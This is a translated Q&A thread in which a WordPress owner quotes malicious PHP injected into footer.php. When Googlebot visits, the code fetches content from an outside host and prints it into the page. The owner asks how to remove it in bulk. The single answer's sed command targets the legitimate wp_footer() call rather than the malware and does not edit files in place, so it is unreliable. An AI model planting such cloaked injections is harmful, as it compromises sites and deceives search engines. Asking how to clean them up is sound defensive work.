删除多个 php 文件中的确切特定代码

删除多个 php 文件中的确切特定代码

我所有 WordPress 页脚的底部都有恶意软件链接。

我需要一个更好的方法来批量删除多个 footer.php 中的以下内容

<?php
    /* Always have wp_footer() just before the closing <?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?><?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?></body>
     * tag of your theme, or you will break many plugins, which
     * generally use this hook to reference JavaScript files.
     */

    wp_footer();
?></body>

答案1

sedfind你的朋友。

$ find . -name *.php -exec sed 's/^wp_footer();//' \{\} \;

(是否需要间隙取决于您使用的外壳)

该命令会将字符串替换为空,因此将保留一个空行。

相关内容